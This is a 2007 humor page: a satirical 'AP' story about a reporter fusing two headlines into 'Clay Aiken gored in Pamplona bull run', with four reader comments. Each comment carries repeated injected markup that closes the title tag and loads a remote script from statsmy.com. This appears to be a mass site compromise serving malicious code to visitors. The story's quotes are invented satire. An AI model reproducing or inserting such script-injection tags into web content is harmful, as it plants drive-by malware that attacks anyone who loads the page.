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Clay Aiken Gored In Pamplona Bull Run
by Mark on 7/9/2007 (4)

Ole, Clay, Ole!
(AP) In an unprecedented event in network news reporting, Associated Press reporter Irving Muntz erroneously mixed two totally disparate news stories together, fusing "Man gored in Pamplona bull run" with "Clay Aiken allegedly in airplane spat" alchemizing "Clay Aiken gored in Pamplona bull run." from the mix. A blustered Muntz scratched and lamented:

"It was a file error. I sorta cut and pasted the two stories together and sent it over the wire. CNN picked it up a half hour later. I admit it wasn't the crowning moment of my professional career, to say the least. Wait until Google News picks it up. The beers really gonna hit the bar then, for sure."

Upon reading the spurious headline, Clay Aiken dissed and fumed: "I was never gored in Pamplona, but that would be my crappy tour managers fault, not mine!"?sid


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1. by lithcherri on 7/9/2007 5:32:34 PM
This is a riot! If true it would me much ado about SOMETHING> Not like the silly airplane spat. Clay's comment was pretty funny. I hope the Bullfighter (and the Bull) are ok.n.ru/t </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
2. by mahova2002 on 7/18/2007 12:32:56 PM
We know Clay would not be weird enough to run with the bulls. But to the guy in the picture, Eeew, it looks like it really hurt! </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
3. by Bull Story on 7/18/2007 2:02:25 PM
Is this for real?????????????? I mean your comments????? I know it isn't really about Clay,,hehe,,< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
4. by madeline on 7/18/2007 6:59:01 PM
Clay is definitely used to running with the "bull"_ _ _ _!! this is hilarious.uil </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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